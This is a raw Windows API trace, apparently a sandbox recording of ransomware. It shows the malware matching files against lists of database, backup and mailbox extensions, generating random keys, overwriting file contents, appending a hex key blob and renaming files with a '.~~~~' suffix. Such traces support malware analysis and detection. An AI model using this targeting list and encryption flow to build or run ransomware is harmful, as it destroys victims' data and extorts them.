	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DBT") returned 0x0
	[0142.687] lstrlenW (lpString=".ACCDB") returned 6
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.687] lstrlenW (lpString=".fdb") returned 4
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".fdb") returned 0x0
	[0142.687] lstrlenW (lpString=".bak") returned 4
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".bak") returned 0x0
	[0142.687] lstrlenW (lpString=".myd") returned 4
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".myd") returned 0x0
	[0142.687] lstrlenW (lpString=".DTXS") returned 5
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.687] lstrlenW (lpString=".ckp") returned 4
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".ckp") returned 0x0
	[0142.687] lstrlenW (lpString=".dbt") returned 4
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".dbt") returned 0x0
	[0142.687] lstrlenW (lpString=".db") returned 3
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".db") returned 0x0
	[0142.687] lstrlenW (lpString=".TXT") returned 4
	[0142.687] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".TXT") returned 0x0
	[0142.688] lstrlenW (lpString=".MDF") returned 4
	[0142.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".MDF") returned 0x0
	[0142.688] lstrlenW (lpString=".bdb") returned 4
	[0142.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".bdb") returned 0x0
	[0142.688] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.688] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.688] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.689] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.689] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.689] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26267948985) returned 1
	[0142.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe751c10, dwHighDateTime=0x1d60e1e)) 
	[0142.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe638
	[0142.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe638 | out: hHeap=0x300000) returned 1
	[0142.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9e88
	[0142.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0142.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9e88 | out: hHeap=0x300000) returned 1
	[0142.690] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.691] GetLastError () returned 0x0
	[0142.691] GetLastError () returned 0x0
	[0142.691] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.691] GetLastError () returned 0x0
	[0142.691] GetLastError () returned 0x0
	[0142.691] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x326c, lpOverlapped=0x0) returned 1
	[0142.693] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffcd94, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.694] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x326c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x326c, lpOverlapped=0x0) returned 1
	[0142.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.694] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.694] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.694] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.694] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.694] CloseHandle (hObject=0x138) returned 1
	[0142.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9e88
	[0142.694] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif.~~~~")) returned 1
	[0142.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9e88 | out: hHeap=0x300000) returned 1
	[0142.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.697] GetLastError () returned 0x0
	[0142.697] RtlWakeConditionVariable () returned 0x0
	[0142.697] GetCurrentThreadId () returned 0x9f4
	[0142.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".scr") returned 0x0
	[0142.697] lstrlenW (lpString=".cmd") returned 4
	[0142.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".cmd") returned 0x0
	[0142.698] lstrlenW (lpString=".dll") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dll") returned 0x0
	[0142.698] lstrlenW (lpString=".bat") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".bat") returned 0x0
	[0142.698] lstrlenW (lpString=".cpl") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".cpl") returned 0x0
	[0142.698] lstrlenW (lpString=".sys") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".sys") returned 0x0
	[0142.698] lstrlenW (lpString=".msc") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".msc") returned 0x0
	[0142.698] lstrlenW (lpString=".com") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".com") returned 0x0
	[0142.698] lstrlenW (lpString=".lnk") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".lnk") returned 0x0
	[0142.698] lstrlenW (lpString=".msp") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".msp") returned 0x0
	[0142.698] lstrlenW (lpString=".pif") returned 4
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".pif") returned 0x0
	[0142.698] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.700] lstrlenW (lpString=".sqb") returned 4
	[0142.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".sqb") returned 0x0
	[0142.700] lstrlenW (lpString=".ost") returned 4
	[0142.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".ost") returned 0x0
	[0142.700] lstrlenW (lpString=".txt") returned 4
	[0142.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".txt") returned 0x0
	[0142.700] lstrlenW (lpString=".mdt") returned 4
	[0142.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".mdt") returned 0x0
	[0142.700] lstrlenW (lpString=".BDB") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".BDB") returned 0x0
	[0142.701] lstrlenW (lpString=".eql") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".eql") returned 0x0
	[0142.701] lstrlenW (lpString=".DBF") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DBF") returned 0x0
	[0142.701] lstrlenW (lpString=".EQL") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".EQL") returned 0x0
	[0142.701] lstrlenW (lpString=".FDB") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".FDB") returned 0x0
	[0142.701] lstrlenW (lpString=".EDB") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".EDB") returned 0x0
	[0142.701] lstrlenW (lpString=".DACPAC") returned 7
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.701] lstrlenW (lpString=".VHD") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".VHD") returned 0x0
	[0142.701] lstrlenW (lpString=".DBV") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DBV") returned 0x0
	[0142.701] lstrlenW (lpString=".dacpac") returned 7
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.701] lstrlenW (lpString=".sdf") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".sdf") returned 0x0
	[0142.701] lstrlenW (lpString=".accdb") returned 6
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".accdb") returned 0x0
	[0142.701] lstrlenW (lpString=".DBX") returned 4
	[0142.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DBX") returned 0x0
	[0142.702] lstrlenW (lpString=".MDT") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".MDT") returned 0x0
	[0142.702] lstrlenW (lpString=".SQB") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".SQB") returned 0x0
	[0142.702] lstrlenW (lpString=".vhd") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".vhd") returned 0x0
	[0142.702] lstrlenW (lpString=".bac") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".bac") returned 0x0
	[0142.702] lstrlenW (lpString=".mdf") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".mdf") returned 0x0
	[0142.702] lstrlenW (lpString=".BAK") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".BAK") returned 0x0
	[0142.702] lstrlenW (lpString=".BAC") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".BAC") returned 0x0
	[0142.702] lstrlenW (lpString=".dbs") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dbs") returned 0x0
	[0142.702] lstrlenW (lpString=".vhdx") returned 5
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.702] lstrlenW (lpString=".NDF") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".NDF") returned 0x0
	[0142.702] lstrlenW (lpString=".dat") returned 4
	[0142.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dat") returned 0x0
	[0142.702] lstrlenW (lpString=".DBS") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DBS") returned 0x0
	[0142.703] lstrlenW (lpString=".CKP") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".CKP") returned 0x0
	[0142.703] lstrlenW (lpString=".edb") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".edb") returned 0x0
	[0142.703] lstrlenW (lpString=".PST") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".PST") returned 0x0
	[0142.703] lstrlenW (lpString=".dbf") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dbf") returned 0x0
	[0142.703] lstrlenW (lpString=".SQL") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".SQL") returned 0x0
	[0142.703] lstrlenW (lpString=".pst") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".pst") returned 0x0
	[0142.703] lstrlenW (lpString=".dbv") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dbv") returned 0x0
	[0142.703] lstrlenW (lpString=".SDF") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".SDF") returned 0x0
	[0142.703] lstrlenW (lpString=".dtxs") returned 5
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.703] lstrlenW (lpString=".db3") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".db3") returned 0x0
	[0142.703] lstrlenW (lpString=".OST") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".OST") returned 0x0
	[0142.703] lstrlenW (lpString=".dbx") returned 4
	[0142.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dbx") returned 0x0
	[0142.703] lstrlenW (lpString=".DB3") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DB3") returned 0x0
	[0142.704] lstrlenW (lpString=".DAT") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DAT") returned 0x0
	[0142.704] lstrlenW (lpString=".VHDX") returned 5
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.704] lstrlenW (lpString=".ndf") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".ndf") returned 0x0
	[0142.704] lstrlenW (lpString=".DB") returned 3
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DB") returned 0x0
	[0142.704] lstrlenW (lpString=".sql") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".sql") returned 0x0
	[0142.704] lstrlenW (lpString=".MYD") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".MYD") returned 0x0
	[0142.704] lstrlenW (lpString=".DBT") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DBT") returned 0x0
	[0142.704] lstrlenW (lpString=".ACCDB") returned 6
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.704] lstrlenW (lpString=".fdb") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".fdb") returned 0x0
	[0142.704] lstrlenW (lpString=".bak") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".bak") returned 0x0
	[0142.704] lstrlenW (lpString=".myd") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".myd") returned 0x0
	[0142.704] lstrlenW (lpString=".DTXS") returned 5
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.704] lstrlenW (lpString=".ckp") returned 4
	[0142.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".ckp") returned 0x0
	[0142.705] lstrlenW (lpString=".dbt") returned 4
	[0142.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".dbt") returned 0x0
	[0142.705] lstrlenW (lpString=".db") returned 3
	[0142.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".db") returned 0x0
	[0142.705] lstrlenW (lpString=".TXT") returned 4
	[0142.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".TXT") returned 0x0
	[0142.705] lstrlenW (lpString=".MDF") returned 4
	[0142.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".MDF") returned 0x0
	[0142.705] lstrlenW (lpString=".bdb") returned 4
	[0142.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".bdb") returned 0x0
	[0142.705] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.705] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.706] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.706] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.707] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26269673837) returned 1
